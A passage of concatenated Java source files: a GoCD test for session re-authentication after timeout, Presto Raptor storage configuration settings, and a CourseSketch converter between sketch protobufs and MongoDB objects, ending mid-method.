"Expected compilation result %s, but was %s\n%s\n%s",
expected,
result,
Joiner.on('\n').join(diagnosticHelper.getDiagnostics()),
outputStream))
.that(result)
.isEqualTo(expected));
}
private Result compile() {
List<String> processedArgs = buildArguments(overrideClasspath, extraArgs);
return compiler
.getTask(
new PrintWriter(
new BufferedWriter(new OutputStreamWriter(outputStream, UTF_8)),
/*autoFlush=*/ true),
FileManagers.testFileManager(),
diagnosticHelper.collector,
/* options= */ ImmutableList.copyOf(processedArgs),
/* classes= */ ImmutableList.of(),
sources)
.call()
? Result.OK
: Result.ERROR;
}
}
| |
/*
* Copyright 2021 ThoughtWorks, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.thoughtworks.go.server.newsecurity.filters;
import com.thoughtworks.go.ClearSingleton;
import com.thoughtworks.go.http.mocks.*;
import com.thoughtworks.go.server.newsecurity.SessionUtilsHelper;
import com.thoughtworks.go.server.newsecurity.models.AccessToken;
import com.thoughtworks.go.server.newsecurity.models.AnonymousCredential;
import com.thoughtworks.go.server.newsecurity.models.AuthenticationToken;
import com.thoughtworks.go.server.newsecurity.models.UsernamePassword;
import com.thoughtworks.go.server.newsecurity.providers.AnonymousAuthenticationProvider;
import com.thoughtworks.go.server.newsecurity.providers.PasswordBasedPluginAuthenticationProvider;
import com.thoughtworks.go.server.newsecurity.providers.WebBasedPluginAuthenticationProvider;
import com.thoughtworks.go.server.newsecurity.utils.SessionUtils;
import com.thoughtworks.go.server.service.SecurityService;
import com.thoughtworks.go.util.SystemEnvironment;
import com.thoughtworks.go.util.TestingClock;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Nested;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import javax.servlet.FilterChain;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.IOException;
import java.util.Collections;
import static org.assertj.core.api.Assertions.assertThat;
import static org.mockito.Mockito.*;
@ExtendWith(ClearSingleton.class)
public class AbstractReAuthenticationFilterTest {
private MockHttpServletRequest request;
private MockHttpServletResponse response;
private FilterChain filterChain;
private SecurityService securityService;
private PasswordBasedPluginAuthenticationProvider passwordBasedPluginAuthenticationProvider;
private WebBasedPluginAuthenticationProvider webBasedPluginAuthenticationProvider;
private TestingClock clock;
private AbstractReAuthenticationFilter filter;
private SystemEnvironment systemEnvironment;
private AnonymousAuthenticationProvider anonymousAuthenticationProvider;
@BeforeEach
void setUp() {
response = new MockHttpServletResponse();
filterChain = mock(FilterChain.class);
securityService = mock(SecurityService.class);
systemEnvironment = mock(SystemEnvironment.class);
when(systemEnvironment.isReAuthenticationEnabled()).thenReturn(true);
passwordBasedPluginAuthenticationProvider = mock(PasswordBasedPluginAuthenticationProvider.class);
webBasedPluginAuthenticationProvider = mock(WebBasedPluginAuthenticationProvider.class);
anonymousAuthenticationProvider = mock(AnonymousAuthenticationProvider.class);
clock = new TestingClock();
filter = spy(new AbstractReAuthenticationFilter(securityService, systemEnvironment, clock, passwordBasedPluginAuthenticationProvider, webBasedPluginAuthenticationProvider, anonymousAuthenticationProvider) {
@Override
protected void onAuthenticationFailure(HttpServletRequest request,
HttpServletResponse response,
String errorMessage) throws IOException {
}
});
}
@Nested
class SecurityDisabled {
@BeforeEach
void setUp() {
when(securityService.isSecurityEnabled()).thenReturn(false);
}
@Test
void shouldContinueWithChain() throws ServletException, IOException {
request = HttpRequestBuilder.GET("/")
.build();
final HttpSession originalSession = request.getSession(true);
assertThat(SessionUtils.getAuthenticationToken(request)).isNull();
filter.doFilter(request, response, filterChain);
verify(filterChain).doFilter(request, response);
assertThat(SessionUtils.getAuthenticationToken(request)).isNull();
MockHttpServletRequestAssert.assertThat(request)
.hasSameSession(originalSession);
MockHttpServletResponseAssert.assertThat(response)
.isOk();
verify(filter, never()).onAuthenticationFailure(any(), any(), any());
}
}
@Nested
class SecurityEnabled {
@BeforeEach
void setUp() {
when(securityService.isSecurityEnabled()).thenReturn(true);
}
@Test
void shouldContinueExecutionOfFilterChainIfSessionDoesNotHaveAuthenticationToken() throws IOException, ServletException {
request = new MockHttpServletRequest();
filter.doFilter(request, response, filterChain);
verify(filterChain).doFilter(request, response);
MockHttpServletResponseAssert.assertThat(response)
.isOk();
verify(filter, never()).onAuthenticationFailure(any(), any(), any());
}
@Test
void shouldReAuthenticateUsernamePasswordTokenWhenItHasExpired() throws IOException, ServletException {
request = HttpRequestBuilder.GET("/").build();
final AuthenticationToken<UsernamePassword> authenticationToken = SessionUtilsHelper.createUsernamePasswordAuthentication("bob", "p@ssw0rd", clock.currentTimeMillis());
SessionUtilsHelper.setAuthenticationToken(request, authenticationToken);
clock.addSeconds(3601);
when(systemEnvironment.getReAuthenticationTimeInterval()).thenReturn(3600 * 1000L);
final AuthenticationToken<UsernamePassword> reAuthenticatedToken = SessionUtilsHelper.createUsernamePasswordAuthentication("bob", "p@ssw0rd", clock.currentTimeMillis());
when(passwordBasedPluginAuthenticationProvider.reauthenticate(authenticationToken)).thenReturn(reAuthenticatedToken);
filter.doFilter(request, response, filterChain);
verify(filterChain).doFilter(request, response);
assertThat(authenticationToken).isNotSameAs(reAuthenticatedToken);
assertThat(SessionUtils.getAuthenticationToken(request)).isSameAs(reAuthenticatedToken);
MockHttpServletResponseAssert.assertThat(response)
.isOk();
verify(filter, never()).onAuthenticationFailure(any(), any(), any());
}
@Test
void shouldReAuthenticateWebBasedTokenWhenItHasExpired() throws IOException, ServletException {
request = HttpRequestBuilder.GET("/").build();
final AuthenticationToken<AccessToken> authenticationToken = SessionUtilsHelper.createWebAuthentication(Collections.singletonMap("access_token", "some-token"), clock.currentTimeMillis());
SessionUtilsHelper.setAuthenticationToken(request, authenticationToken);
clock.addSeconds(3601);
when(systemEnvironment.getReAuthenticationTimeInterval()).thenReturn(3600 * 1000L);
final AuthenticationToken<AccessToken> reAuthenticatedToken = SessionUtilsHelper.createWebAuthentication(Collections.singletonMap("access_token", "some-token"), clock.currentTimeMillis());
when(webBasedPluginAuthenticationProvider.reauthenticate(authenticationToken)).thenReturn(reAuthenticatedToken);
filter.doFilter(request, response, filterChain);
verify(filterChain).doFilter(request, response);
assertThat(authenticationToken).isNotSameAs(reAuthenticatedToken);
assertThat(SessionUtils.getAuthenticationToken(request)).isSameAs(reAuthenticatedToken);
MockHttpServletResponseAssert.assertThat(response)
.isOk();
verify(filter, never()).onAuthenticationFailure(any(), any(), any());
}
@Test
void shouldReAuthenticateAnonymousTokenWhenItHasExpired() throws IOException, ServletException {
request = HttpRequestBuilder.GET("/").build();
SessionUtilsHelper.loginAsAnonymous(request);
AuthenticationToken<AnonymousCredential> authenticationToken = (AuthenticationToken<AnonymousCredential>) SessionUtils.getAuthenticationToken(request);
clock.addSeconds(3601);
when(systemEnvironment.getReAuthenticationTimeInterval()).thenReturn(3600 * 1000L);
final AuthenticationToken<AnonymousCredential> reAuthenticatedToken = SessionUtilsHelper.createAnonymousAuthentication(clock.currentTimeMillis());
when(anonymousAuthenticationProvider.reauthenticate(authenticationToken)).thenReturn(reAuthenticatedToken);
filter.doFilter(request, response, filterChain);
verify(filterChain).doFilter(request, response);
assertThat(authenticationToken).isNotSameAs(reAuthenticatedToken);
assertThat(SessionUtils.getAuthenticationToken(request)).isSameAs(reAuthenticatedToken);
MockHttpServletResponseAssert.assertThat(response)
.isOk();
verify(filter, never()).onAuthenticationFailure(any(), any(), any());
}
@Test
void shouldErrorOutIfUsernamePasswordTokenReAuthenticationFails() throws IOException, ServletException {
request = HttpRequestBuilder.GET("/").build();
final AuthenticationToken<UsernamePassword> authenticationToken = SessionUtilsHelper.createUsernamePasswordAuthentication("bob", "p@ssw0rd", clock.currentTimeMillis());
SessionUtilsHelper.setAuthenticationToken(request, authenticationToken);
clock.addSeconds(3601);
when(systemEnvironment.getReAuthenticationTimeInterval()).thenReturn(3600 * 1000L);
when(passwordBasedPluginAuthenticationProvider.reauthenticate(authenticationToken)).thenReturn(null);
filter.doFilter(request, response, filterChain);
verifyNoInteractions(filterChain);
verify(filter).onAuthenticationFailure(request, response, "Unable to re-authenticate user after timeout.");
}
@Test
void shouldErrorOutIfWebBasedTokenReAuthenticationFails() throws IOException, ServletException {
request = HttpRequestBuilder.GET("/").build();
final AuthenticationToken<AccessToken> authenticationToken = SessionUtilsHelper.createWebAuthentication(Collections.singletonMap("access_token", "some-token"), clock.currentTimeMillis());
SessionUtilsHelper.setAuthenticationToken(request, authenticationToken);
clock.addSeconds(3601);
when(systemEnvironment.getReAuthenticationTimeInterval()).thenReturn(3600 * 1000L);
when(webBasedPluginAuthenticationProvider.reauthenticate(authenticationToken)).thenReturn(null);
filter.doFilter(request, response, filterChain);
verifyNoInteractions(filterChain);
verify(filter).onAuthenticationFailure(request, response, "Unable to re-authenticate user after timeout.");
}
}
}
| |
/*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.facebook.presto.raptor.storage;
import com.facebook.airlift.configuration.Config;
import com.facebook.airlift.configuration.ConfigDescription;
import com.facebook.airlift.configuration.DefunctConfig;
import com.facebook.airlift.configuration.LegacyConfig;
import com.facebook.presto.common.type.TimeZoneKey;
import com.facebook.presto.orc.metadata.CompressionKind;
import io.airlift.units.DataSize;
import io.airlift.units.Duration;
import io.airlift.units.MaxDataSize;
import io.airlift.units.MinDataSize;
import io.airlift.units.MinDuration;
import org.joda.time.DateTimeZone;
import javax.validation.constraints.Max;
import javax.validation.constraints.Min;
import javax.validation.constraints.NotNull;
import java.net.URI;
import java.time.ZoneId;
import java.util.TimeZone;
import java.util.concurrent.TimeUnit;
import static com.facebook.presto.orc.metadata.CompressionKind.ZSTD;
import static com.facebook.presto.raptor.storage.StorageManagerConfig.OrcOptimizedWriterStage.ENABLED;
import static io.airlift.units.DataSize.Unit.BYTE;
import static io.airlift.units.DataSize.Unit.MEGABYTE;
import static java.lang.Math.max;
import static java.lang.Runtime.getRuntime;
@DefunctConfig("storage.backup-directory")
public class StorageManagerConfig
{
private URI dataDirectory;
private String fileSystemProvider = "file";
private DataSize minAvailableSpace = new DataSize(0, BYTE);
private Duration shardRecoveryTimeout = new Duration(30, TimeUnit.SECONDS);
private Duration missingShardDiscoveryInterval = new Duration(5, TimeUnit.MINUTES);
private boolean compactionEnabled = true;
private Duration compactionInterval = new Duration(1, TimeUnit.HOURS);
private Duration shardEjectorInterval = new Duration(4, TimeUnit.HOURS);
private DataSize orcMaxMergeDistance = new DataSize(1, MEGABYTE);
private DataSize orcMaxReadSize = new DataSize(8, MEGABYTE);
private DataSize orcStreamBufferSize = new DataSize(8, MEGABYTE);
private DataSize orcTinyStripeThreshold = new DataSize(8, MEGABYTE);
private boolean orcLazyReadSmallRanges = true;
private OrcOptimizedWriterStage orcOptimizedWriterStage = ENABLED;
private CompressionKind orcCompressionKind = ZSTD;
private int deletionThreads = max(1, getRuntime().availableProcessors() / 2);
private int recoveryThreads = 10;
private int organizationThreads = 5;
private boolean organizationEnabled = true;
private Duration organizationDiscoveryInterval = new Duration(6, TimeUnit.HOURS);
private Duration organizationInterval = new Duration(7, TimeUnit.DAYS);
private long maxShardRows = 1_000_000;
private DataSize maxShardSize = new DataSize(256, MEGABYTE);
private DataSize maxBufferSize = new DataSize(256, MEGABYTE);
private int oneSplitPerBucketThreshold;
private String shardDayBoundaryTimeZone = TimeZoneKey.UTC_KEY.getId();
private int maxAllowedFilesPerWriter = Integer.MAX_VALUE;
private boolean zstdJniDecompressionEnabled;
@NotNull
public URI getDataDirectory()
{
return dataDirectory;
}
@Config("storage.data-directory")
@ConfigDescription("Base URI to use for storing shard data")
public StorageManagerConfig setDataDirectory(URI dataURI)
{
this.dataDirectory = dataURI;
return this;
}
@NotNull
public String getFileSystemProvider()
{
return fileSystemProvider;
}
@Config("storage.file-system")
@ConfigDescription("File system used for storage (e.g. file, hdfs)")
public StorageManagerConfig setFileSystemProvider(String fileSystemProvider)
{
this.fileSystemProvider = fileSystemProvider;
return this;
}
@NotNull
public DataSize getMinAvailableSpace()
{
return minAvailableSpace;
}
@Config("storage.min-available-space")
@ConfigDescription("Minimum space that must be available on the data directory file system")
public StorageManagerConfig setMinAvailableSpace(DataSize minAvailableSpace)
{
this.minAvailableSpace = minAvailableSpace;
return this;
}
@NotNull
public DataSize getOrcMaxMergeDistance()
{
return orcMaxMergeDistance;
}
@Config("storage.orc.max-merge-distance")
public StorageManagerConfig setOrcMaxMergeDistance(DataSize orcMaxMergeDistance)
{
this.orcMaxMergeDistance = orcMaxMergeDistance;
return this;
}
@NotNull
public DataSize getOrcMaxReadSize()
{
return orcMaxReadSize;
}
@Config("storage.orc.max-read-size")
public StorageManagerConfig setOrcMaxReadSize(DataSize orcMaxReadSize)
{
this.orcMaxReadSize = orcMaxReadSize;
return this;
}
@NotNull
public DataSize getOrcStreamBufferSize()
{
return orcStreamBufferSize;
}
@Config("storage.orc.stream-buffer-size")
public StorageManagerConfig setOrcStreamBufferSize(DataSize orcStreamBufferSize)
{
this.orcStreamBufferSize = orcStreamBufferSize;
return this;
}
@NotNull
public DataSize getOrcTinyStripeThreshold()
{
return orcTinyStripeThreshold;
}
@Config("storage.orc.tiny-stripe-threshold")
public StorageManagerConfig setOrcTinyStripeThreshold(DataSize orcTinyStripeThreshold)
{
this.orcTinyStripeThreshold = orcTinyStripeThreshold;
return this;
}
@Deprecated
public boolean isOrcLazyReadSmallRanges()
{
return orcLazyReadSmallRanges;
}
// TODO remove config option once efficacy is proven
@Deprecated
@Config("storage.orc.lazy-read-small-ranges")
public StorageManagerConfig setOrcLazyReadSmallRanges(boolean orcLazyReadSmallRanges)
{
this.orcLazyReadSmallRanges = orcLazyReadSmallRanges;
return this;
}
public enum OrcOptimizedWriterStage
{
ENABLED, ENABLED_AND_VALIDATED
}
public OrcOptimizedWriterStage getOrcOptimizedWriterStage()
{
return orcOptimizedWriterStage;
}
@Config("storage.orc.optimized-writer-stage")
public StorageManagerConfig setOrcOptimizedWriterStage(OrcOptimizedWriterStage orcOptimizedWriterStage)
{
this.orcOptimizedWriterStage = orcOptimizedWriterStage;
return this;
}
public CompressionKind getOrcCompressionKind()
{
return orcCompressionKind;
}
@Config("storage.orc.compression-kind")
public StorageManagerConfig setOrcCompressionKind(CompressionKind orcCompressionKind)
{
this.orcCompressionKind = orcCompressionKind;
return this;
}
@Min(1)
public int getDeletionThreads()
{
return deletionThreads;
}
@Config("storage.max-deletion-threads")
@ConfigDescription("Maximum number of threads to use for deletions")
public StorageManagerConfig setDeletionThreads(int deletionThreads)
{
this.deletionThreads = deletionThreads;
return this;
}
@MinDuration("1s")
public Duration getShardRecoveryTimeout()
{
return shardRecoveryTimeout;
}
@Config("storage.shard-recovery-timeout")
@ConfigDescription("Maximum time to wait for a shard to recover from backup while running a query")
public StorageManagerConfig setShardRecoveryTimeout(Duration shardRecoveryTimeout)
{
this.shardRecoveryTimeout = shardRecoveryTimeout;
return this;
}
@MinDuration("1s")
public Duration getMissingShardDiscoveryInterval()
{
return missingShardDiscoveryInterval;
}
@Config("storage.missing-shard-discovery-interval")
@ConfigDescription("How often to check the database and local file system missing shards")
public StorageManagerConfig setMissingShardDiscoveryInterval(Duration missingShardDiscoveryInterval)
{
this.missingShardDiscoveryInterval = missingShardDiscoveryInterval;
return this;
}
@MinDuration("1s")
public Duration getCompactionInterval()
{
return compactionInterval;
}
@Config("storage.compaction-interval")
@ConfigDescription("How often to check for local shards that need compaction")
public StorageManagerConfig setCompactionInterval(Duration compactionInterval)
{
this.compactionInterval = compactionInterval;
return this;
}
@NotNull
@MinDuration("1s")
public Duration getOrganizationInterval()
{
return organizationInterval;
}
@Config("storage.organization-interval")
@ConfigDescription("How long to wait between table organization iterations")
public StorageManagerConfig setOrganizationInterval(Duration organizationInterval)
{
this.organizationInterval = organizationInterval;
return this;
}
@NotNull
@MinDuration("1s")
public Duration getOrganizationDiscoveryInterval()
{
return organizationDiscoveryInterval;
}
@Config("storage.organization-discovery-interval")
@ConfigDescription("How long to wait between discovering tables that need to be organized")
public StorageManagerConfig setOrganizationDiscoveryInterval(Duration organizationDiscoveryInterval)
{
this.organizationDiscoveryInterval = organizationDiscoveryInterval;
return this;
}
@MinDuration("5m")
public Duration getShardEjectorInterval()
{
return shardEjectorInterval;
}
@Config("storage.ejector-interval")
@ConfigDescription("How often to check for local shards that need ejection to balance capacity")
public StorageManagerConfig setShardEjectorInterval(Duration shardEjectorInterval)
{
this.shardEjectorInterval = shardEjectorInterval;
return this;
}
@Min(1)
public int getRecoveryThreads()
{
return recoveryThreads;
}
@Config("storage.max-recovery-threads")
@ConfigDescription("Maximum number of threads to use for recovery")
public StorageManagerConfig setRecoveryThreads(int recoveryThreads)
{
this.recoveryThreads = recoveryThreads;
return this;
}
@LegacyConfig("storage.max-compaction-threads")
@Config("storage.max-organization-threads")
@ConfigDescription("Maximum number of threads to use for organization")
public StorageManagerConfig setOrganizationThreads(int organizationThreads)
{
this.organizationThreads = organizationThreads;
return this;
}
@Min(1)
public int getOrganizationThreads()
{
return organizationThreads;
}
@Min(1)
@Max(1_000_000_000)
public long getMaxShardRows()
{
return maxShardRows;
}
@Config("storage.max-shard-rows")
@ConfigDescription("Approximate maximum number of rows per shard")
public StorageManagerConfig setMaxShardRows(long maxShardRows)
{
this.maxShardRows = maxShardRows;
return this;
}
@MinDataSize("1MB")
@MaxDataSize("1GB")
public DataSize getMaxShardSize()
{
return maxShardSize;
}
@Config("storage.max-shard-size")
@ConfigDescription("Approximate maximum uncompressed size of a shard")
public StorageManagerConfig setMaxShardSize(DataSize maxShardSize)
{
this.maxShardSize = maxShardSize;
return this;
}
@MinDataSize("1MB")
public DataSize getMaxBufferSize()
{
return maxBufferSize;
}
@Config("storage.max-buffer-size")
@ConfigDescription("Maximum data to buffer before flushing to disk")
public StorageManagerConfig setMaxBufferSize(DataSize maxBufferSize)
{
this.maxBufferSize = maxBufferSize;
return this;
}
@Min(1)
public int getMaxAllowedFilesPerWriter()
{
return maxAllowedFilesPerWriter;
}
@Config("storage.max-allowed-files-per-writer")
@ConfigDescription("Maximum number of files that can be created per writer for a query. Default value is Integer.MAX_VALUE")
public StorageManagerConfig setMaxAllowedFilesPerWriter(int maxAllowedFilesPerWriter)
{
this.maxAllowedFilesPerWriter = maxAllowedFilesPerWriter;
return this;
}
public boolean isCompactionEnabled()
{
return compactionEnabled;
}
@Config("storage.compaction-enabled")
public StorageManagerConfig setCompactionEnabled(boolean compactionEnabled)
{
this.compactionEnabled = compactionEnabled;
return this;
}
public boolean isOrganizationEnabled()
{
return organizationEnabled;
}
@Config("storage.organization-enabled")
public StorageManagerConfig setOrganizationEnabled(boolean organizationEnabled)
{
this.organizationEnabled = organizationEnabled;
return this;
}
public int getOneSplitPerBucketThreshold()
{
return oneSplitPerBucketThreshold;
}
@Config("storage.one-split-per-bucket-threshold")
@ConfigDescription("Experimental: Maximum bucket count at which to produce multiple splits per bucket")
public StorageManagerConfig setOneSplitPerBucketThreshold(int oneSplitPerBucketThreshold)
{
this.oneSplitPerBucketThreshold = oneSplitPerBucketThreshold;
return this;
}
public DateTimeZone getShardDayBoundaryTimeZone()
{
return DateTimeZone.forTimeZone(TimeZone.getTimeZone(ZoneId.of(shardDayBoundaryTimeZone, ZoneId.SHORT_IDS)));
}
@Config("storage.shard-day-boundary-time-zone")
@ConfigDescription("Time zone to use for computing day boundary for shards")
public StorageManagerConfig setShardDayBoundaryTimeZone(String timeZone)
{
this.shardDayBoundaryTimeZone = timeZone;
return this;
}
public boolean isZstdJniDecompressionEnabled()
{
return zstdJniDecompressionEnabled;
}
@Config("storage.zstd-jni-decompression-enabled")
public StorageManagerConfig setZstdJniDecompressionEnabled(boolean zstdJniDecompressionEnabled)
{
this.zstdJniDecompressionEnabled = zstdJniDecompressionEnabled;
return this;
}
}
| |
package coursesketch.database;
import com.mongodb.BasicDBList;
import com.mongodb.BasicDBObject;
import com.mongodb.DBObject;
import coursesketch.recognition.framework.ShapeConverterInterface;
import coursesketch.recognition.framework.exceptions.TemplateException;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import protobuf.srl.sketch.Sketch;
import java.util.ArrayList;
import java.util.List;
import static coursesketch.database.RecognitionStringConstants.INTERPRETATION_CONFIDENCE;
import static coursesketch.database.RecognitionStringConstants.INTERPRETATION_LABEL;
import static coursesketch.database.RecognitionStringConstants.OBJECT_TYPE;
import static coursesketch.database.RecognitionStringConstants.POINT_ID;
import static coursesketch.database.RecognitionStringConstants.POINT_NAME;
import static coursesketch.database.RecognitionStringConstants.POINT_PRESSURE;
import static coursesketch.database.RecognitionStringConstants.POINT_SIZE;
import static coursesketch.database.RecognitionStringConstants.POINT_SPEED;
import static coursesketch.database.RecognitionStringConstants.POINT_TIME;
import static coursesketch.database.RecognitionStringConstants.POINT_X;
import static coursesketch.database.RecognitionStringConstants.POINT_Y;
import static coursesketch.database.RecognitionStringConstants.SHAPE_ID;
import static coursesketch.database.RecognitionStringConstants.SHAPE_INTERPS;
import static coursesketch.database.RecognitionStringConstants.SHAPE_ISUSERCREATED;
import static coursesketch.database.RecognitionStringConstants.SHAPE_NAME;
import static coursesketch.database.RecognitionStringConstants.SHAPE_SUBCOMPONENTS;
import static coursesketch.database.RecognitionStringConstants.SHAPE_TIME;
import static coursesketch.database.RecognitionStringConstants.SKETCH_SKETCH;
import static coursesketch.database.RecognitionStringConstants.STROKE_ID;
import static coursesketch.database.RecognitionStringConstants.STROKE_NAME;
import static coursesketch.database.RecognitionStringConstants.STROKE_POINTS;
import static coursesketch.database.RecognitionStringConstants.STROKE_TIME;
import static coursesketch.database.RecognitionStringConstants.TEMPLATE_ID;
import static coursesketch.database.RecognitionStringConstants.TEMPLATE_INTERPRETATION;
import static coursesketch.database.RecognitionStringConstants.TEMPLATE_DATA;
/**
* Created by David Windows on 4/20/2016.
*/
public final class ShapeConverter implements ShapeConverterInterface<com.mongodb.DBObject> {
/**
* Declaration and Definition of Logger.
*/
private static final Logger LOG = LoggerFactory.getLogger(ShapeConverter.class);
@Override
public DBObject makeDbObject(final Sketch.SrlObject srlObject) {
DBObject result = null;
if (srlObject.getType().equals(Sketch.ObjectType.SHAPE)) {
try {
result = makeDbShape(Sketch.SrlShape.parseFrom(srlObject.getObject()));
} catch (com.google.protobuf.InvalidProtocolBufferException e) {
LOG.error("There was no shape contained in the object.");
}
} else if (srlObject.getType().equals(Sketch.ObjectType.STROKE)) {
try {
result = makeDbStroke(Sketch.SrlStroke.parseFrom(srlObject.getObject()));
} catch (com.google.protobuf.InvalidProtocolBufferException e) {
LOG.error("There was no stroke contained in the object.");
}
} else if (srlObject.getType().equals(Sketch.ObjectType.POINT)) {
try {
result = makeDbPoint(Sketch.SrlPoint.parseFrom(srlObject.getObject()));
} catch (com.google.protobuf.InvalidProtocolBufferException e) {
LOG.error("There was no point contained in the object.");
}
}
result.put(OBJECT_TYPE, srlObject.getType().name());
return result;
}
@Override
public DBObject makeDbShape(final Sketch.SrlShape srlShape) {
final BasicDBObject shapeObject = new BasicDBObject();
final String shapeId = srlShape.getId();
shapeObject.append(SHAPE_ID, shapeId);
final long shapeTime = srlShape.getTime();
shapeObject.append(SHAPE_TIME, shapeTime);
final List<Object> interpretationList = new BasicDBList();
final List<Sketch.SrlInterpretation> shapeInterpretations = srlShape.getInterpretationsList();
for (Sketch.SrlInterpretation shapeInterpretation : shapeInterpretations) {
final DBObject interpretation = makeDbInterpretation(shapeInterpretation);
interpretationList.add(interpretation);
}
shapeObject.append(SHAPE_INTERPS, interpretationList);
final List<Object> subcomponentList = new BasicDBList();
final List<Sketch.SrlObject> shapeComponents = srlShape.getSubComponentsList();
for (Sketch.SrlObject shapeCompenent : shapeComponents) {
final DBObject component = makeDbObject(shapeCompenent);
subcomponentList.add(component);
}
shapeObject.append(SHAPE_SUBCOMPONENTS, subcomponentList);
String shapeName = null;
if (srlShape.hasName()) {
shapeName = srlShape.getName();
shapeObject.append(SHAPE_NAME, shapeName);
}
final boolean isUserCreated;
if (srlShape.hasIsUserCreated()) {
isUserCreated = srlShape.getIsUserCreated();
shapeObject.append(SHAPE_ISUSERCREATED, isUserCreated);
}
return shapeObject;
}
@Override
public DBObject makeDbStroke(final Sketch.SrlStroke srlStroke) {
final BasicDBObject strokeDBObject = new BasicDBObject(STROKE_ID, srlStroke.getId())
.append(STROKE_TIME, srlStroke.getTime());
if (srlStroke.hasName()) {
strokeDBObject.append(STROKE_NAME, srlStroke.getName());
}
final List<Object> pointsDbList = new BasicDBList();
final List<Sketch.SrlPoint> pointsList = srlStroke.getPointsList();
for (Sketch.SrlPoint point : pointsList) {
final DBObject pointObject = makeDbPoint(point);
pointsDbList.add(pointObject);
}
strokeDBObject.append(STROKE_POINTS, pointsDbList);
return strokeDBObject;
}
@Override
public DBObject makeDbPoint(final Sketch.SrlPoint srlPoint) {
final BasicDBObject pointObject = new BasicDBObject();
pointObject.append(POINT_ID, srlPoint.getId());
pointObject.append(POINT_TIME, srlPoint.getTime());
pointObject.append(POINT_X, srlPoint.getX());
pointObject.append(POINT_Y, srlPoint.getY());
if (srlPoint.hasName()) {
pointObject.append(POINT_NAME, srlPoint.getName());
}
if (srlPoint.hasPressure()) {
pointObject.append(POINT_PRESSURE, srlPoint.getPressure());
}
if (srlPoint.hasSize()) {
pointObject.append(POINT_SIZE, srlPoint.getSize());
}
if (srlPoint.hasSpeed()) {
pointObject.append(POINT_SPEED, srlPoint.getSpeed());
}
return pointObject;
}
@Override
public com.mongodb.DBObject makeDbInterpretation(final Sketch.SrlInterpretation srlInterpretation) {
return new BasicDBObject(INTERPRETATION_LABEL, srlInterpretation.getLabel())
.append(INTERPRETATION_CONFIDENCE, srlInterpretation.getConfidence());
}
/**
* Parses a template that was found in the database.
*
* @param templateObject The db object that is being parsed.
* @return A Recognition Tempalte that has been parsed.
*/
public Sketch.RecognitionTemplate parseRecognitionTemplate(final DBObject templateObject) {
final String id = templateObject.get(TEMPLATE_ID).toString();
final Sketch.SrlInterpretation interpretation = parseInterpretation(
(DBObject) templateObject.get(TEMPLATE_INTERPRETATION));
final Sketch.RecognitionTemplate.Builder recognitionTemplate =
Sketch.RecognitionTemplate.newBuilder();
final String objectType = (String) templateObject.get(OBJECT_TYPE);
final DBObject templateData = (DBObject) templateObject.get(TEMPLATE_DATA);
if (objectType == null) {
final Sketch.SrlSketch srlSketch = parseSketch(templateData);
recognitionTemplate.setSketch(srlSketch);
} else if (objectType.equals(Sketch.ObjectType.SHAPE.name())) {
final Sketch.SrlShape srlShape = parseShape(templateData);
recognitionTemplate.setShape(srlShape);
} else if (objectType.equals(Sketch.ObjectType.STROKE.name())) {
final Sketch.SrlStroke stroke = parseStroke(templateData);
recognitionTemplate.setStroke(stroke);
} else {
LOG.error("", new TemplateException("Unknown template type: " + objectType));
}
recognitionTemplate.setTemplateId(id).setInterpretation(interpretation);
return recognitionTemplate.build();
}
@Override
public Sketch.SrlSketch parseSketch(final DBObject sketchObject) {
final Sketch.SrlSketch.Builder sketch = Sketch.SrlSketch.newBuilder();
final List<DBObject> sketchData = (List<DBObject>) sketchObject.get(SKETCH_SKETCH);
for (DBObject dbObject: sketchData) {
sketch.addSketch(parseObject(dbObject));
}
return sketch.build();
}
@Override
public Sketch.SrlInterpretation parseInterpretation(final DBObject interpretationObject) {
final String intLabel = (String) interpretationObject.get(INTERPRETATION_LABEL);
final Double intConfidence = (Double) interpretationObject.get(INTERPRETATION_CONFIDENCE);
final Sketch.SrlInterpretation.Builder srlInterpretation = Sketch.SrlInterpretation.newBuilder();
srlInterpretation.setLabel(intLabel);
srlInterpretation.setConfidence(intConfidence);
return srlInterpretation.build();
}
@Override
public Sketch.SrlObject parseObject(final DBObject someObject) {
final Sketch.ObjectType objectType = Sketch.ObjectType.valueOf(
(String) someObject.get(OBJECT_TYPE));
final Sketch.SrlObject.Builder srlObject = Sketch.SrlObject.newBuilder();
if (objectType.equals(Sketch.ObjectType.SHAPE)) {
final Sketch.SrlShape srlShape = parseShape(someObject);
srlObject.setType(Sketch.ObjectType.SHAPE);
srlObject.setObject(srlShape.toByteString());
} else if (objectType.equals(Sketch.ObjectType.STROKE)) {
final Sketch.SrlStroke srlStroke = parseStroke(someObject);
srlObject.setType(Sketch.ObjectType.STROKE);
srlObject.setObject(srlStroke.toByteString());
} else {
final Sketch.SrlPoint srlPoint = parsePoint(someObject);
srlObject.setType(Sketch.ObjectType.POINT);
srlObject.setObject(srlPoint.toByteString());
}
return srlObject.build();
}
@Override
public Sketch.SrlShape parseShape(final DBObject shapeObject) {
final Sketch.SrlShape.Builder shape = Sketch.SrlShape.newBuilder();
final String shapeId = (String) shapeObject.get(SHAPE_ID);
shape.setId(shapeId);
final long time = (long) shapeObject.get(SHAPE_TIME);
shape.setTime(time);
String name = null;
if (((DBObject) shapeObject).containsField(SHAPE_NAME)) {
name = (String) shapeObject.get(SHAPE_NAME);
shape.setName(name);
}
Boolean isUserCreated = null;
if (((DBObject) shapeObject).containsField(SHAPE_ISUSERCREATED)) {
